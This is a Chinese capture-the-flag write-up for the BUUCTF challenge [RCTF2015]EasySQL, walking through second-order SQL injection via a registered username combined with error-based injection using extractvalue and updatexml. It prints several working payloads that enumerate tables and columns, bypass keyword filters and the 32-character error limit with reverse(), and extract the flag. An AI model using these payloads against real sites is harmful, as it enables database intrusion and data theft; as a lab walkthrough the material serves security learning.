BUUCTF_Web([RCTF2015]EasySQL)二次注入+报错注入

做题知识点:

二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个``查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

题目: 只有登录和注册两个选项。

1.尝试注册

输入admin 123 1

显示用户存在。

2.尝试登录

输入admin'# 123 ( #注释掉后面的,不用管密码)

登录错误。

3.尝试修改密码

输入admin'# #注释掉后面的,不用管密码

点admin'#

点change password,修改密码。

发现没用,,,

4. 报错注入

使用Burp关键字过滤:

(在注册界面使用报错注入然后点击修改密码才会有回显说明这是二次注入,并且payload必须在用户名位置在注册界面

尝试时发现and、order等部分关键词被过滤,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入。

1.查看数据库表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

有三个article,flag,users表名

2.1 查看flag表中列名(详细步骤)

二次注入:注册 --> 登录

报错注入:(在用户名位置的注册界面输入报错语句)

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

详细步骤:

注册

登录

登录成功后页面

点用户名

修改密码页面 (密码随便输)

页面显现

一个列flag
查看 flag中内容

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

(步骤同上,得)发现不是真正的flag。

2.2使用users表查列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# (不知道是哪里出错了,可能某个关键字被过滤,本语句不对)

admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现了flag所在的真正位置real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

有七个列名。
查找real_flag_1s_her'列名

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

发现flag只有一部分,因为right、left、mid等函数均被过滤,因此使用reverse函数

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒置输出 (使用python脚本)

python 复制代码
letter_num = input('}de45611d9636-8c9b-f884-d0d8-9d')  # 直接获取输入
def convert_order():
    reversed_string = letter_num[::-1]  # 使用切片进行倒序
    print(reversed_string)  # 直接打印倒序的结果
convert_order()

得flag{b795edd9-8d0d-488f-b9c8-6369d11654ed}

参考链接:

[RCTF2015]EasySQL1 题目分析与详解

[RCTF2015]EasySQL(详细)

相关推荐
PlumCarefree19 分钟前
SQL中的左连接,体会一对多
数据库·sql
Full Stack Developme20 分钟前
SQL 窗口函数
数据库·sql
Full Stack Developme24 分钟前
SQL HAVING 1 的用法解析
数据库·sql
brhhh_sehe4 小时前
SQL注入(SQL Injection)攻击原理与防御措施
数据库·sql·oracle
木西5 小时前
NestJS链接MySQL数据库实现CRUD接口
数据库·sql·api
神经毒素6 小时前
WEB安全--SQL注入--SQL注入的危害
网络·sql·web安全
提高记忆力8 小时前
spring和maven
java·sql·spring
述雾学java10 小时前
数据库分类、存储引擎、介绍、Mysql、SQL分类
sql·mysql·java核心基础
.又是新的一天.13 小时前
SQL语句---DDL
数据库·sql·oracle
lhdz_bj19 小时前
SQL Server查询计划操作符(7.3)——查询计划相关操作符(11)
sql·top·操作符·server·scan·operator·spool